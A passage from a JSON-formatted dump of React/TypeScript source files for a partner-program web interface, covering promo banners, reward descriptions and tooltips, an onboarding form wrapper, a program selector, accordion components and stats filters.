icon={item.icon}\n          description={item.description}\n          onClick={item.onClick}\n          className={cn(isDarkImage && \"text-content-inverted\", iconClassName)}\n        />\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/programs-promo-banner.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { StablecoinPayoutBanner } from \"@/ui/partners/payouts/stablecoin-payout-banner\";\nimport { ProgramMarketplaceBanner } from \"@/ui/partners/program-marketplace/program-marketplace-banner\";\n\n/**\n * Single promo banner slot for the programs page: show stablecoin payouts banner\n * only when the partner has access to stablecoin payouts; otherwise show the\n * program marketplace banner.\n */\nexport function ProgramsPromoBanner() {\n  const { partner, availablePayoutMethods } = usePartnerProfile();\n\n  if (!partner) {\n    return null;\n  }\n\n  if (\n    availablePayoutMethods.includes(\"stablecoin\") &&\n    !partner.stripeRecipientId\n  ) {\n    return <StablecoinPayoutBanner />;\n  }\n\n  return <ProgramMarketplaceBanner />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/programs-promo-card.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { StablecoinPayoutCard } from \"@/ui/partners/payouts/stablecoin-payout-card\";\nimport { ProgramMarketplaceCard } from \"@/ui/partners/program-marketplace/program-marketplace-card\";\n\n/**\n * Single promo card slot for the sidebar: show stablecoin payouts card only when\n * the partner has access to stablecoin payouts and hasn't connected stablecoin\n * yet; otherwise show the program marketplace card.\n */\nexport function ProgramsPromoCard() {\n  const { partner, availablePayoutMethods } = usePartnerProfile();\n\n  if (!partner) {\n    return null;\n  }\n\n  if (\n    availablePayoutMethods.includes(\"stablecoin\") &&\n    !partner.stripeRecipientId\n  ) {\n    return <StablecoinPayoutCard />;\n  }\n\n  return <ProgramMarketplaceCard />;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/use-program-marketplace-promo.tsx",
    "content": "import { useSyncedLocalStorage } from \"@/lib/hooks/use-synced-local-storage\";\n\nconst marketplacePromoStatuses = [\"banner\", \"card\"] as const;\ntype MarketplacePromoStatus = (typeof marketplacePromoStatuses)[number];\n\nexport function useProgramMarketplacePromo(): {\n  status: MarketplacePromoStatus;\n  setStatus: (status: MarketplacePromoStatus) => void;\n} {\n  const [marketplacePromoStatus, setMarketplacePromoStatus] =\n    useSyncedLocalStorage<string>(\"marketplace-promo-status\", \"banner\");\n\n  return {\n    status:\n      marketplacePromoStatuses.find(\n        (status) => status === marketplacePromoStatus,\n      ) ?? \"banner\",\n    setStatus: setMarketplacePromoStatus,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-onboarding-form-wrapper.tsx",
    "content": "\"use client\";\n\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { ProgramData } from \"@/lib/types\";\nimport { FormProvider, useForm } from \"react-hook-form\";\n\nexport function ProgramOnboardingFormWrapper({\n  children,\n  defaultValues,\n  values,\n}: {\n  children: React.ReactNode;\n  defaultValues?: Partial<ProgramData>;\n  values?: Partial<ProgramData>;\n}) {\n  const [programOnboarding] =\n    useWorkspaceStore<ProgramData>(\"programOnboarding\");\n\n  const methods = useForm<ProgramData>({\n    defaultValues: {\n      linkStructure: \"short\",\n      defaultRewardType: \"sale\",\n      type: \"percentage\",\n      amountInCents: null,\n      amountInPercentage: null,\n      maxDuration: 12,\n      partners: [{ email: \"\" }],\n      ...defaultValues,\n    },\n    values: programOnboarding\n      ? {\n          ...programOnboarding,\n          linkStructure: programOnboarding.linkStructure ?? \"short\",\n          defaultRewardType: programOnboarding.defaultRewardType ?? \"sale\",\n          type: programOnboarding.type ?? \"percentage\",\n          amountInCents:\n            programOnboarding.amountInCents != null\n              ? programOnboarding.amountInCents / 100\n              : null,\n          amountInPercentage:\n            programOnboarding.amountInPercentage != null\n              ? programOnboarding.amountInPercentage\n              : null,\n          partners: programOnboarding.partners?.length\n            ? programOnboarding.partners\n            : [{ email: \"\" }],\n          supportEmail: programOnboarding.supportEmail || null,\n          helpUrl: programOnboarding.helpUrl || null,\n          termsUrl: programOnboarding.termsUrl || null,\n          ...values,\n        }\n      : undefined,\n  });\n\n  return <FormProvider {...methods}>{children}</FormProvider>;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-reward-description.tsx",
    "content": "import { constructDiscountAmount } from \"@/lib/api/sales/construct-discount-amount\";\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { DiscountProps, RewardProps } from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\nimport { ProgramRewardModifiersTooltip } from \"./program-reward-modifiers-tooltip\";\n\nexport function ProgramRewardDescription({\n  reward,\n  discount,\n  amountClassName,\n  periodClassName,\n  showModifiersTooltip = true,\n}: {\n  reward?: Pick<\n    RewardProps,\n    | \"description\"\n    | \"event\"\n    | \"maxDuration\"\n    | \"modifiers\"\n    | \"tooltipDescription\"\n    | \"type\"\n    | \"amountInCents\"\n    | \"amountInPercentage\"\n  > | null;\n  discount?: DiscountProps | null;\n  amountClassName?: string;\n  periodClassName?: string;\n  showModifiersTooltip?: boolean; // used in server-side reward description construction\n}) {\n  return (\n    <>\n      {reward ? (\n        <>\n          {reward.description || (\n            <>\n              Earn{\" \"}\n              <strong\n                className={cn(\"font-semibold lowercase\", amountClassName)}\n              >\n                {constructRewardAmount(reward)}{\" \"}\n              </strong>\n              {reward.event === \"sale\" && reward.maxDuration === 0 ? (\n                <>for the first sale</>\n              ) : (\n                <>per {reward.event}</>\n              )}\n              {reward.maxDuration === null ? (\n                <>\n                  {\" \"}\n                  for the{\" \"}\n                  <strong className={cn(\"font-semibold\", periodClassName)}>\n                    customer's lifetime\n                  </strong>\n                </>\n              ) : reward.maxDuration && reward.maxDuration > 1 ? (\n                <>\n                  {\" \"}\n                  for{\" \"}\n                  <strong className={cn(\"font-semibold\", periodClassName)}>\n                    {reward.maxDuration % 12 === 0\n                      ? `${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n                      : `${reward.maxDuration} months`}\n                  </strong>\n                </>\n              ) : null}\n            </>\n          )}\n\n          {/* Modifiers */}\n          {showModifiersTooltip &&\n            (!!reward.modifiers?.length ||\n              Boolean(reward.tooltipDescription)) && (\n              <>\n                {\" \"}\n                <ProgramRewardModifiersTooltip reward={reward} />\n              </>\n            )}\n        </>\n      ) : null}\n\n      {discount ? (\n        <>\n          {\" \"}\n          New users get{\" \"}\n          <strong className={cn(\"font-semibold\", amountClassName)}>\n            {constructDiscountAmount(discount)}\n          </strong>{\" \"}\n          off{\" \"}\n          {discount.maxDuration === null ? (\n            <strong className={cn(\"font-semibold\", periodClassName)}>\n              for their lifetime\n            </strong>\n          ) : discount.maxDuration === 0 ? (\n            <strong className={cn(\"font-semibold\", periodClassName)}>\n              for their first purchase\n            </strong>\n          ) : discount.maxDuration === 1 ? (\n            <strong className={cn(\"font-semibold\", periodClassName)}>\n              for their first month\n            </strong>\n          ) : discount.maxDuration && discount.maxDuration > 1 ? (\n            <strong className={cn(\"font-semibold\", periodClassName)}>\n              for {discount.maxDuration} months\n            </strong>\n          ) : null}\n        </>\n      ) : null}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-reward-list.tsx",
    "content": "\"use client\";\n\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { DiscountProps, RewardProps } from \"@/lib/types\";\nimport { Button, Gift, Icon } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { PropsWithChildren } from \"react\";\nimport { REWARD_EVENTS } from \"./constants\";\nimport { formatDiscountDescription } from \"./format-discount-description\";\nimport { ProgramRewardModifiersTooltip } from \"./program-reward-modifiers-tooltip\";\n\nexport function ProgramRewardList({\n  rewards,\n  discount,\n  variant = \"default\",\n  className,\n  iconClassName,\n  showModifiersTooltip = true,\n}: {\n  rewards: RewardProps[];\n  discount?: DiscountProps | null;\n  variant?: \"default\" | \"plain\";\n  className?: string;\n  iconClassName?: string;\n  showModifiersTooltip?: boolean;\n}) {\n  const { programSlug } = useParams();\n  const sortedFilteredRewards = rewards.filter((r) => getRewardAmount(r) >= 0);\n\n  if (sortedFilteredRewards.length === 0 && !discount) {\n    return (\n      <div className=\"border-border-subtle bg-bg-default flex items-center justify-between rounded-md border px-4 py-3\">\n        <p className=\"text-content-subtle text-sm\">\n          You are not eligible for any rewards at this time.\n        </p>\n\n        {programSlug && (\n          <Link href={`/messages/${programSlug}`}>\n            <Button\n              variant=\"secondary\"\n              text=\"Contact program\"\n              className=\"h-8 rounded-lg px-3\"\n            />\n          </Link>\n        )}\n      </div>\n    );\n  }\n\n  return (\n    <ul\n      className={cn(\n        \"text-content-default flex flex-col gap-4 text-sm leading-tight\",\n        variant === \"default\" &&\n          \"border-border-subtle bg-bg-default rounded-md border p-4\",\n        className,\n      )}\n    >\n      {sortedFilteredRewards.map((reward) => (\n        <Item\n          key={reward.id}\n          icon={REWARD_EVENTS[reward.event].icon}\n          iconClassName={iconClassName}\n        >\n          {reward.description || (\n            <>\n              {constructRewardAmount(reward)}{\" \"}\n              {reward.event === \"sale\" && reward.maxDuration === 0 ? (\n                <>for the first sale</>\n              ) : (\n                <>per {reward.event}</>\n              )}\n              {reward.maxDuration === null ? (\n                <>\n                  {\" \"}\n                  for the{\" \"}\n                  <strong className={cn(\"font-semibold\")}>\n                    customer's lifetime\n                  </strong>\n                </>\n              ) : reward.maxDuration && reward.maxDuration > 1 ? (\n                <>\n                  {\" \"}\n                  for{\" \"}\n                  <strong className={cn(\"font-semibold\")}>\n                    {reward.maxDuration % 12 === 0\n                      ? `${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n                      : `${reward.maxDuration} months`}\n                  </strong>\n                </>\n              ) : null}\n            </>\n          )}\n\n          {/* Modifiers */}\n          {showModifiersTooltip &&\n            (!!reward.modifiers?.length ||\n              Boolean(reward.tooltipDescription)) && (\n              <>\n                {\" \"}\n                <ProgramRewardModifiersTooltip reward={reward} />\n              </>\n            )}\n        </Item>\n      ))}\n\n      {discount && (\n        <Item icon={Gift} iconClassName={iconClassName}>\n          {formatDiscountDescription(discount)}\n        </Item>\n      )}\n    </ul>\n  );\n}\n\nconst Item = ({\n  icon: Icon,\n  children,\n  iconClassName,\n}: PropsWithChildren<{ icon: Icon; iconClassName?: string }>) => {\n  return (\n    <li className=\"flex items-start gap-2\">\n      <Icon className={cn(\"size-4 shrink-0 translate-y-px\", iconClassName)} />\n      <div>{children}</div>\n    </li>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/program-reward-modifiers-tooltip.tsx",
    "content": "\"use client\";\n\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { RewardCondition, RewardConditions, RewardProps } from \"@/lib/types\";\nimport {\n  CONDITION_OPERATOR_LABELS,\n  REWARD_CONDITIONS,\n} from \"@/lib/zod/schemas/rewards\";\nimport { InfoTooltip, useScrollProgress } from \"@dub/ui\";\nimport {\n  COUNTRIES,\n  capitalize,\n  cn,\n  currencyFormatter,\n  formatDateTime,\n  pluralize,\n} from \"@dub/utils\";\nimport { formatDuration } from \"date-fns\";\nimport { useRef } from \"react\";\n\ninterface ProgramRewardModifiersTooltipProps {\n  reward?: Omit<RewardProps, \"id\" | \"updatedAt\"> | null;\n}\n\ninterface ProgramRewardModifiersTooltipContentProps {\n  reward?: Omit<RewardProps, \"id\" | \"updatedAt\"> | null;\n  showBottomGradient?: boolean;\n  showBaseReward?: boolean;\n  className?: string;\n}\n\nexport function ProgramRewardModifiersTooltip({\n  reward,\n}: ProgramRewardModifiersTooltipProps) {\n  if (!reward?.modifiers?.length && !reward?.tooltipDescription) return null;\n\n  return (\n    <div className=\"inline-block align-text-top\">\n      <InfoTooltip\n        content={\n          reward.tooltipDescription || (\n            <ProgramRewardModifiersTooltipContent\n              reward={reward}\n              showBottomGradient={true}\n              showBaseReward={true}\n            />\n          )\n        }\n        contentClassName={reward.tooltipDescription ? \"text-left\" : undefined}\n      />\n    </div>\n  );\n}\n\nexport function ProgramRewardModifiersTooltipContent({\n  reward,\n  showBottomGradient = true,\n  showBaseReward = true,\n  className,\n}: ProgramRewardModifiersTooltipContentProps & {\n  showBottomGradient?: boolean;\n  showBaseReward?: boolean;\n}) {\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  if (!reward?.modifiers?.length) return null;\n\n  const nonZeroBaseAmount = getRewardAmount(reward) !== 0;\n  const displayBaseReward = showBaseReward && nonZeroBaseAmount;\n\n  return (\n    <div className=\"relative\">\n      <div\n        ref={scrollRef}\n        onScroll={updateScrollProgress}\n        className={cn(\n          \"scrollbar-hide max-h-[calc(var(--radix-popper-available-height,100dvh)-12px)] max-w-sm space-y-2 overflow-y-auto p-3\",\n          className,\n        )}\n      >\n        {displayBaseReward && <RewardItem reward={reward} />}\n        {(reward.modifiers as RewardConditions[]).map((modifier, idx) => (\n          <div key={idx} className=\"space-y-2\">\n            {(displayBaseReward || idx > 0) && (\n              <span className=\"flex w-full items-center justify-center rounded bg-neutral-100 px-2 py-1 text-xs font-semibold text-neutral-600\">\n                OR\n              </span>\n            )}\n\n            <RewardItem\n              reward={{\n                event: reward.event,\n                type: modifier.type === undefined ? reward.type : modifier.type, // fallback to primary\n                amountInCents: modifier.amountInCents,\n                amountInPercentage: modifier.amountInPercentage,\n                maxDuration:\n                  modifier.maxDuration === undefined\n                    ? reward.maxDuration\n                    : modifier.maxDuration, // fallback to primary\n              }}\n              conditions={modifier.conditions}\n              operator={modifier.operator}\n            />\n          </div>\n        ))}\n      </div>\n\n      {showBottomGradient && (\n        <div\n          className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full rounded-b-lg bg-gradient-to-t from-white sm:block\"\n          style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n        />\n      )}\n    </div>\n  );\n}\n\n// TODO:\n// This became a bit of a mess, let's clean it up a bit.\nconst RewardItem = ({\n  reward,\n  conditions,\n  operator = \"AND\",\n}: {\n  reward: Omit<RewardProps, \"id\" | \"updatedAt\">;\n  conditions?: RewardCondition[];\n  operator?: RewardConditions[\"operator\"];\n}) => {\n  const rewardAmount = constructRewardAmount({\n    ...reward,\n    modifiers: undefined,\n  });\n\n  const durationText =\n    reward.maxDuration === null\n      ? \"for the customer's lifetime\"\n      : reward.maxDuration === 0\n        ? \"one time\"\n        : reward.maxDuration && reward.maxDuration % 12 === 0\n          ? `for ${reward.maxDuration / 12} ${pluralize(\n              \"year\",\n              reward.maxDuration / 12,\n            )}`\n          : reward.maxDuration\n            ? `for ${reward.maxDuration} months`\n            : \"\";\n\n  return (\n    <div>\n      <div className=\"text-content-default text-xs font-semibold\">\n        {rewardAmount} per {reward.event}\n        {reward.event === \"sale\" && durationText ? ` ${durationText}` : \"\"}\n      </div>\n\n      {conditions && conditions.length > 0 && (\n        <ul className=\"ml-1 text-xs font-medium text-neutral-600\">\n          {conditions.map((condition, idx) => {\n            const entity = REWARD_CONDITIONS[reward.event].entities.find(\n              (e) => e.id === condition.entity,\n            );\n            const attribute = entity?.attributes?.find(\n              (a) => a.id === condition.attribute,\n            );\n\n            return (\n              <li key={idx} className=\"flex items-start gap-1\">\n                <span className=\"shrink-0 text-lg leading-none\">&bull;</span>\n                <span className=\"min-w-0\">\n                  {idx === 0 ? \"If\" : capitalize(operator.toLowerCase())}{\" \"}\n                  {condition.entity} {attribute?.label?.toLowerCase()}{\" \"}\n                  {CONDITION_OPERATOR_LABELS[condition.operator]}{\" \"}\n                  {condition.value &&\n                    (condition.attribute === \"country\"\n                      ? // Country names\n                        Array.isArray(condition.value)\n                        ? (condition.value as any[])\n                            .map((v) => COUNTRIES[v?.toString()] ?? v)\n                            .join(\", \")\n                        : COUNTRIES[condition.value?.toString()] ??\n                          condition.value\n                      : condition.attribute === \"subscriptionDurationMonths\"\n                        ? formatSubscriptionDuration(Number(condition.value))\n                        : // Non-country value(s)\n                          Array.isArray(condition.value)\n                          ? // Basic array\n                            (attribute?.options\n                              ? (condition.value as string[] | number[]).map(\n                                  (v) =>\n                                    attribute.options?.find((o) => o.id === v)\n                                      ?.label ?? v,\n                                )\n                              : condition.value\n                            ).join(\", \")\n                          : condition.attribute === \"productId\" &&\n                              condition.label\n                            ? // Product label\n                              condition.label\n                            : attribute?.type === \"currency\"\n                              ? // Currency value\n                                currencyFormatter(Number(condition.value))\n                              : attribute?.type === \"date\"\n                                ? // Date+time value\n                                  formatDateTime(\n                                    new Date(Number(condition.value)),\n                                  )\n                                : // Everything else\n                                  attribute?.options\n                                  ? attribute.options.find(\n                                      (o) => o.id === condition.value,\n                                    )?.label ?? condition.value.toString()\n                                  : condition.value.toString())}\n                </span>\n              </li>\n            );\n          })}\n        </ul>\n      )}\n    </div>\n  );\n};\n\nfunction formatSubscriptionDuration(v: number): string {\n  return formatDuration(\n    v >= 12 ? { years: Math.floor(v / 12), months: v % 12 } : { months: v },\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-reward-terms.tsx",
    "content": "import { currencyFormatter } from \"@dub/utils\";\n\nexport function ProgramRewardTerms({\n  minPayoutAmount,\n  holdingPeriodDays,\n}: {\n  minPayoutAmount: number;\n  holdingPeriodDays: number;\n}) {\n  const items = [\n    ...(minPayoutAmount > 0\n      ? [\n          {\n            label: \"minimum payout amount\",\n            value: currencyFormatter(minPayoutAmount, {\n              trailingZeroDisplay: \"stripIfInteger\",\n            }),\n            href: \"https://dub.co/help/article/commissions-payouts#what-does-minimum-payout-amount-mean\",\n          },\n        ]\n      : []),\n    ...(holdingPeriodDays > 0\n      ? [\n          {\n            label: \"holding period\",\n            value: `${holdingPeriodDays}-day`,\n            href: \"https://dub.co/help/article/commissions-payouts#what-does-holding-period-mean\",\n          },\n        ]\n      : []),\n  ];\n\n  if (items.length === 0) return null;\n\n  return (\n    <div className=\"border-border-subtle text-content-subtle -mt-1 flex items-center gap-1 rounded-b-md rounded-t-none border border-t-0 p-1.5 pl-2.5 pt-2.5 text-xs\">\n      {items.map((item, index) => (\n        <>\n          <span key={item.label}>\n            <span className=\"text-content-emphasis font-semibold\">\n              {item.value}\n            </span>{\" \"}\n            <a\n              href={item.href}\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"underline decoration-dotted underline-offset-2\"\n            >\n              {item.label}\n            </a>\n          </span>\n          {index < items.length - 1 && \"•\"}\n        </>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-rewards-panel.tsx",
    "content": "\"use client\";\n\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { getRewardAmount } from \"@/lib/partners/get-reward-amount\";\nimport { DiscountProps, RewardProps } from \"@/lib/types\";\nimport { Gift, Tooltip } from \"@dub/ui\";\nimport { HelpCircle } from \"lucide-react\";\nimport { memo } from \"react\";\nimport { REWARD_EVENTS } from \"./constants\";\nimport { formatDiscountDescription } from \"./format-discount-description\";\nimport { ProgramRewardModifiersTooltipContent } from \"./program-reward-modifiers-tooltip\";\n\ninterface ProgramRewardsPanelProps {\n  rewards: RewardProps[];\n  discount?: DiscountProps | null;\n}\n\n// Custom tooltip with smaller icon\nfunction CustomRewardModifiersTooltip({ reward }: { reward: RewardProps }) {\n  return (\n    <div className=\"inline-block align-text-top\">\n      <Tooltip\n        content={<ProgramRewardModifiersTooltipContent reward={reward} />}\n      >\n        <HelpCircle className=\"h-3.5 w-3.5 translate-y-px text-neutral-400\" />\n      </Tooltip>\n    </div>\n  );\n}\n\nexport const ProgramRewardsPanel = memo(\n  ({ rewards, discount }: ProgramRewardsPanelProps) => {\n    const sortedFilteredRewards = rewards.filter(\n      (r) => getRewardAmount(r) >= 0,\n    );\n\n    const rewardItems = [\n      ...sortedFilteredRewards.map((reward) => ({\n        icon: REWARD_EVENTS[reward.event].icon,\n        label: reward.description || (\n          <>\n            {constructRewardAmount(reward)}{\" \"}\n            {reward.event === \"sale\" && reward.maxDuration === 0 ? (\n              <>for the first sale</>\n            ) : (\n              <>per {reward.event}</>\n            )}\n            {reward.maxDuration === null ? (\n              <>\n                {\" \"}\n                for the{\" \"}\n                <strong className=\"font-semibold\">customer's lifetime</strong>\n              </>\n            ) : reward.maxDuration && reward.maxDuration > 1 ? (\n              <>\n                {\" \"}\n                for{\" \"}\n                <strong className=\"font-semibold\">\n                  {reward.maxDuration % 12 === 0\n                    ? `${reward.maxDuration / 12} year${reward.maxDuration / 12 > 1 ? \"s\" : \"\"}`\n                    : `${reward.maxDuration} months`}\n                </strong>\n              </>\n            ) : null}\n            {!!reward.modifiers?.length && (\n              <>\n                {\" \"}\n                <CustomRewardModifiersTooltip reward={reward} />\n              </>\n            )}\n          </>\n        ),\n      })),\n      ...(discount\n        ? [\n            {\n              icon: Gift,\n              label: formatDiscountDescription(discount),\n            },\n          ]\n        : []),\n    ];\n\n    if (rewardItems.length === 0) return null;\n\n    return (\n      <div className=\"grid grid-cols-1\">\n        {rewardItems.map(({ icon: Icon, label }, index) => (\n          <div\n            key={index}\n            className=\"text-content-default flex items-start gap-2 rounded-md py-1.5 text-sm\"\n          >\n            <Icon className=\"size-4 shrink-0 translate-y-px\" />\n            <div>{label}</div>\n          </div>\n        ))}\n      </div>\n    );\n  },\n);\n\nProgramRewardsPanel.displayName = \"ProgramRewardsPanel\";\n"
  },
  {
    "path": "apps/web/ui/partners/program-selector.tsx",
    "content": "import useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { partnerProfileProgramsQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { Combobox, ComboboxProps } from \"@dub/ui\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport * as z from \"zod/v4\";\n\ntype ProgramSelectorProps = {\n  selectedProgramSlug: string | null;\n  setSelectedProgramSlug: (programSlug: string) => void;\n  disabled?: boolean;\n  query?: Partial<z.infer<typeof partnerProfileProgramsQuerySchema>>;\n} & Partial<ComboboxProps<false, any>>;\n\nexport function ProgramSelector({\n  selectedProgramSlug,\n  setSelectedProgramSlug,\n  disabled,\n  ...rest\n}: ProgramSelectorProps) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { programEnrollments, isLoading } = useProgramEnrollments({\n    status: \"approved\",\n  });\n\n  const programOptions = useMemo(() => {\n    return programEnrollments?.map(({ program }) => ({\n      value: program.slug,\n      label: program.name,\n      icon: (\n        <img\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          className=\"size-4 rounded-full\"\n        />\n      ),\n    }));\n  }, [programEnrollments]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedProgramSlug) return null;\n\n    const program = programEnrollments?.find(\n      ({ program }) => program.slug === selectedProgramSlug,\n    )?.program;\n\n    if (!program) return null;\n\n    return {\n      value: program.slug,\n      label: program.name,\n      icon: (\n        <img\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          className=\"size-4 rounded-full\"\n        />\n      ),\n    };\n  }, [programEnrollments, selectedProgramSlug]);\n\n  return (\n    <Combobox\n      options={isLoading ? undefined : programOptions}\n      setSelected={(option) => {\n        if (!option) return;\n        setSelectedProgramSlug(option.value);\n      }}\n      selected={selectedOption}\n      icon={selectedOption?.icon}\n      caret={true}\n      placeholder=\"Select program\"\n      searchPlaceholder=\"Search programs...\"\n      matchTriggerWidth\n      open={openPopover}\n      onOpenChange={setOpenPopover}\n      buttonProps={{\n        disabled,\n        className: cn(\n          \"w-full justify-start border-neutral-300 px-3\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n        ),\n      }}\n      emptyState=\"No programs found\"\n      {...rest}\n    >\n      {selectedOption?.label}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-sheet-accordion.tsx",
    "content": "\"use client\";\n\nimport {\n  Accordion,\n  AccordionContent,\n  AccordionItem,\n  AccordionTrigger,\n  AnimatedSizeContainer,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport * as React from \"react\";\n\n// Program sheet specific accordion that completely overrides base styles\nconst ProgramSheetAccordion = React.forwardRef<\n  React.ElementRef<typeof Accordion>,\n  React.ComponentPropsWithoutRef<typeof Accordion>\n>((props, ref) => <Accordion ref={ref} {...props} />);\nProgramSheetAccordion.displayName = \"ProgramSheetAccordion\";\n\nconst ProgramSheetAccordionItem = React.forwardRef<\n  React.ElementRef<typeof AccordionItem>,\n  React.ComponentPropsWithoutRef<typeof AccordionItem>\n>(({ className, ...props }, ref) => (\n  <div\n    className={cn(\n      // Completely custom card styling with group for state tracking\n      \"group mb-3 overflow-hidden rounded-lg border border-neutral-200 bg-white last:mb-0\",\n      className,\n    )}\n  >\n    <AccordionItem ref={ref} className=\"m-0 border-none py-0\" {...props} />\n  </div>\n));\nProgramSheetAccordionItem.displayName = \"ProgramSheetAccordionItem\";\n\nconst ProgramSheetAccordionTrigger = React.forwardRef<\n  React.ElementRef<typeof AccordionTrigger>,\n  React.ComponentPropsWithoutRef<typeof AccordionTrigger> & {\n    children: React.ReactNode;\n  }\n>(({ className, children, ...props }, ref) => (\n  <AccordionTrigger\n    ref={ref}\n    className={cn(\n      // Completely custom trigger styling - force small text on all screen sizes, hide default icon\n      \"flex items-center justify-between bg-neutral-100 px-4 py-3 text-sm font-semibold text-neutral-800\",\n      \"transition-all hover:bg-neutral-200 data-[state=closed]:border-b-0 sm:text-sm\",\n      \"[&>svg]:size-4 [&>svg]:text-neutral-400 [&[data-state=open]>svg]:rotate-180\",\n      className,\n    )}\n    {...props}\n  >\n    <span>{children}</span>\n  </AccordionTrigger>\n));\nProgramSheetAccordionTrigger.displayName = \"ProgramSheetAccordionTrigger\";\n\nconst ProgramSheetAccordionContent = React.forwardRef<\n  React.ElementRef<typeof AccordionContent>,\n  React.ComponentPropsWithoutRef<typeof AccordionContent>\n>(({ className, children, ...props }, ref) => (\n  <AnimatedSizeContainer\n    height\n    transition={{\n      type: \"spring\",\n      stiffness: 300,\n      damping: 30,\n      mass: 0.8,\n    }}\n  >\n    <AccordionContent\n      ref={ref}\n      className={cn(\n        // Remove default animations and use motion/react instead\n        \"bg-white px-4 py-4 data-[state=closed]:animate-none data-[state=open]:animate-none\",\n        className,\n      )}\n      {...props}\n    >\n      {children}\n    </AccordionContent>\n  </AnimatedSizeContainer>\n));\nProgramSheetAccordionContent.displayName = \"ProgramSheetAccordionContent\";\n\nexport {\n  ProgramSheetAccordion,\n  ProgramSheetAccordionContent,\n  ProgramSheetAccordionItem,\n  ProgramSheetAccordionTrigger,\n};\n"
  },
  {
    "path": "apps/web/ui/partners/program-stats-filter.tsx",
    "content": "import { DynamicTooltipWrapper, Icon } from \"@dub/ui\";\nimport { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function ProgramStatsFilter({\n  label,\n  href,\n  count,\n  amount,\n  icon: Icon,\n  iconClassName,\n  variant = \"compact\",\n  tooltip,\n  error,\n}: {\n  label: string;\n  href: string;\n  count?: number;\n  amount?: number;\n  icon: Icon;\n  iconClassName?: string;\n  variant?: \"compact\" | \"loose\";\n  tooltip?: string | React.ReactNode;\n  error: boolean;\n}) {\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={tooltip ? { content: tooltip } : undefined}\n    >\n      <Link href={href}>\n        {variant === \"compact\" ? (\n          <div className=\"flex items-center gap-4 p-3 text-left transition-colors duration-75 hover:bg-neutral-50 active:bg-neutral-100\">\n            <div\n              className={cn(\n                \"flex size-10 items-center justify-center rounded-md\",\n                iconClassName,\n              )}\n            >\n              <Icon className=\"size-4.5\" />\n            </div>\n            <div>\n              <div className=\"text-xs text-neutral-500\">{label}</div>\n              {count !== undefined || error ? (\n                <div className=\"text-base font-medium leading-tight text-neutral-800\">\n                  {error ? \"-\" : nFormatter(count, { full: true })}\n                </div>\n              ) : (\n                <div className=\"h-5 w-10 min-w-0 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n        ) : (\n          <div className=\"flex flex-col gap-3 p-3 transition-colors duration-75 hover:bg-neutral-50 active:bg-neutral-100\">\n            <div className=\"flex items-center gap-2\">\n              <div\n                className={cn(\n                  \"flex size-6 items-center justify-center gap-2 rounded-md\",\n                  iconClassName,\n                )}\n              >\n                <Icon className=\"size-4\" />\n              </div>\n              <div className=\"text-xs text-neutral-500\">{label}</div>\n            </div>\n\n            <div className=\"flex flex-col gap-0.5\">\n              {count !== undefined || error ? (\n                error ? (\n                  \"-\"\n                ) : (\n                  <>\n                    <span className=\"text-base font-semibold leading-tight text-neutral-600\">\n                      {nFormatter(count, { full: true })}\n                    </span>\n                    <span className=\"text-xs font-medium text-neutral-500\">\n                      {amount !== undefined && currencyFormatter(amount)}\n                    </span>\n                  </>\n                )\n              ) : (\n                <>\n                  <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n                  <div className=\"mt-1 h-3 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                </>\n              )}\n            </div>\n          </div>\n        )}\n      </Link>\n    </DynamicTooltipWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/resources/resource-card.tsx",
